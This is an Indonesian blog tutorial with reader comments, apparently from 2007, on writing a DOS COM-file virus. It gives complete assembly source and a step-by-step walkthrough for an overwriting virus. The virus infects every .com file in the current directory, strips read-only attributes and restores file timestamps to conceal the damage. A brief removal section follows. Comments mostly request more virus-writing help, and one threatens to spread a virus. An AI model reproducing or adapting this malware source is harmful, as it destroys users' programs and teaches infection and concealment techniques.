Membuat Virus Program COM

Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :
.Model Small
.Code
Org 100h
Label : Jmp Label2
Dataku Db ”Tempat Data Program Com”
Label2:
Mov AH,09h
Lea DX,Dataku
Int 21h
Int 20h
End Label1

Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan 100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.
Program Segment Prefix (PSP)
Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan. Berikut adalah strukture dari ke 100h byte PSP dari program :

Offset Sebanyak Untuk
00h 2 Byte Alamat pemanggilan interupsi 20h
02h 1 Word Alamat segment dari memory yang disediakan untuk program
04h 1 Byte Cadangan
05h 5 Byte Alamat pemanggilan interupsi 21h
0Ah 2 Word Vektor Interupsi 23h
0Eh 2 Word Vektor Interupsi 23h
12h 2 Word Vektor Interupsi 24h
16h 22 Byte Cadangan
2Ch 1 Word Alamat segment environment
2Eh 46 Byte Cadangan
5Ch 16 Byte FCB1
6Ch 16 Byte FCB2
80h 1 Byte Banyaknya karakter dari baris perintah
81h 127 Byte Command Line
Pembuatan Virus 001
Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.

; Catatan :
; Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada
; direktory aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename ; ds:dx - > Asciiz”*.com”
Int 21h
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; …… idem atas …….
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; …… idem Atas …….
and cx,11111110b ; Matikan Read Only
int 21h ;
mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;

mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; …. Idem Diatas …..
int 21h ;
push cx ; Simpan Jam
push dx ; Simpan Tanggal

mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;
pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;
mov ah,3Eh ; Tutup File Tersebut
int 21h ; ………..
mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
jnc Back ; Jika Ditemukan, Lompat
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;
Done: int 20h ; Terminate Program
Filename db “*.com”,0
Data db ” File Pada Direktory ini Telah Terserang Virus Semuanya$”
Last label near
end start

Cara Kerja Virus :
.Model Small
.Code
Org 100h
V_Length equ last-start
Start label near ; Awal Dari Virus

Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain.
mov ah,4Eh ; Cari File Com Pertama
mov dx,offset filename ; ds:dx - > Asciiz”*.com”
Int 21h
Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.
Back :
mov ah,43h ; Untuk mendapatkan Atribut File
mov al ,0 ; …… idem atas …….
mov dx,9Eh ; Awal File Com yang ditemukan
int 21h ;
mov ah,43h ; Ubah Atribut File Yang Ditemukan
mov al,01 ; …… idem Atas …….
and cx,11111110b ; Matikan Read Only
int 21h
Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.
mov ax,3D01h ; Buka file untuk write only
mov dx,9Eh ; Nama File Di DTA
int 21h ;
mov bx,ax ; Bx = File Handle
mov ah,57h ; Dapatkan Tanggal File
mov al,0 ; …. Idem Diatas …..
int 21h ;
push cx ; Simpan Jam
push dx ; Simpan Tanggal
Setelah atribut read-only dimatikan, bukalah file tersebut untuk tujuan penulisan virus kedalamnya atau untuk penularannya. Setelah file tersebut dibuka, simpalah handle atau kode file tersebut ke dalam register bx. Selanjutnya, carilah tanggal dan jam dari file yang telah dibuka, kemudian simpanlah hasilnya.
mov dx,100h ; Data Awal Virus
mov cx,v_length ; Panjang Virus
mov ah,40h ; Tulis Virus Ke File
int 21h ;
pop dx ; Ambil Data tanggal
pop cx ; Ambil Data Jam
mov ah,57h ; Set jam dan
mov al,01h ; Tanggal File
int 21h ;
mov ah,3Eh ; Tutup File Tersebut
int 21h ; ………..

Program dengan ekstension com selalu dimulai pada offset ke 100h (256 Byte) yang disediakan untuk PSP. Maka karena program virus Kita yang pertama juga dengan ekstension com, maka untuk mengcopykan virus ke file yang lain, Kita akan mencopykan data mulai offset ke 100 sebanyak besar virus yang telah ditemukan.
Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.
mov ah,4Fh ; Cari File Selanjutnya
int 21h ;
jnc Back ; Jika Ditemukan, Lompat
Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya.
mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;
Done: int 20h ; Terminate Program
Filename db “*.com”,0
Data db ” File Pada Direktory ini Telah Terserang Virus Semuanya$”
Last label near
end start

Setelah semua file yang terdapat pada direktory aktif tertular, tampilkanlah pesan kelayar komputer ”File Pada Direktory ini Telah Terserang Virus Semuanya”.

Mencegah Dan membasmi Virus 001
Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk membasmi virus ini tidak ada jalan lain kecuali dengan menghapus program Com yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat menggunakan perintah ”Find” dari dos untuk mencari kata-kata tersebut.
Dari contoh virus yang pertama ini, dapat Anda lihat bahwa dengan mengerti cara kerja dari sebuah virus, Anda bahkan dapat membasminya tanpa programming sama sekali. Dengan memanfaatkan program umum, seperti program find.exe yang disertakan pada saat instalasi dos Anda dapat menjadikannya alat untuk mendeteksi dan membasmi virus.

& Komentar

  1. Komentar oleh Noris Sunandris on Maret 9, 2007 1:25 am

    anda telah mengirim virus baru

  2. Komentar oleh pansersky on Maret 28, 2007 6:54 am

    mas…..itu logikanya ya…..
    klo bisa sample program virusnya dong dan kira2 pake software nya apa ya selain vb,delphi atau pascal .software nya yang kecil2 supaya mudah di download…….

  3. Komentar oleh KEVIN on Mei 7, 2007 3:07 pm

    Mas, kalo bisa kasi kita2 donk cara membuat ato membangun virus tsb dari awal hingga akhir sehingga lebih seru lagi krn saya sedang buat program skripsi alias tuk tugas akhir saya nich!!!!!!!!!!please!!!!!!!!!!!!!!Kalo bisa pake C++ ato apa kek

  4. Komentar oleh n0v4l on Mei 9, 2007 5:43 pm

    boz ajari cara buat virus yang gampang2 dulu dong, n yang pakek C++,soalnya aq langsung di ajari C++,
    plase…. banget.

  5. Komentar oleh adit on Mei 14, 2007 10:30 am

    ajarin cara buat virus tapi pake delphi bisa gak

  6. Komentar oleh titenk_unesa on Mei 28, 2007 7:09 pm

    tunggu USA_Jancok^hell mulai 6 september di komputer anda

  7. Komentar oleh kr@cker on Mei 29, 2007 7:12 am

    bro….. aq kasi saran
    klo org kya ane bisa bersiiin tu cacingan ato seting aja debugnya n matiin autorun + gunakan program filter, tpi kasiankan ama yg gk tau. gman coba buat virus yg bsa jbol dpfrezee… pswordnya jgn dijebol + ngk nunggangin yg ber extensi *.txt kan ngk ada yg dirugiiin. n ane dukung kerja ente,,,, (destroy all program for sale)

  8. Komentar oleh herman on Juni 5, 2007 6:11 am

    bos….ajarin dong cara menbuat virus and anti virus dari awal sampai akhir dgn mengunakan c++ atau apa kek…? bisakan …… please baget…..?

  9. Komentar oleh sugeng on September 28, 2007 4:36 am

    Mas, bisa gak buat virus sekalian sama antivirusnya, dan aku mo pingin tau virus baru TukulNdeso

  10. Komentar oleh anto on Oktober 23, 2007 5:31 am

    mas,z mau tantya anti virus dari virus parasit virus, memory residen virus, boot sektor virus, stelth virus, polymorrhic virus.tlong ya karna ini tugas ku.aku udah cari blum dapat.terimakasih

  11. Komentar oleh dadan on Nopember 14, 2007 6:46 am

    sekalian dong sama program maker nya alias ente nyediain link download program makernya tapi milikmu

  12. Komentar oleh araicoy on Nopember 15, 2007 2:20 am

    hmmm…gw pengen buat virus pake visual basic …ada nggak yg mau bantuin gw..

Komentar RSS Lacak Balik URI Pengenal

Tinggalkan komentar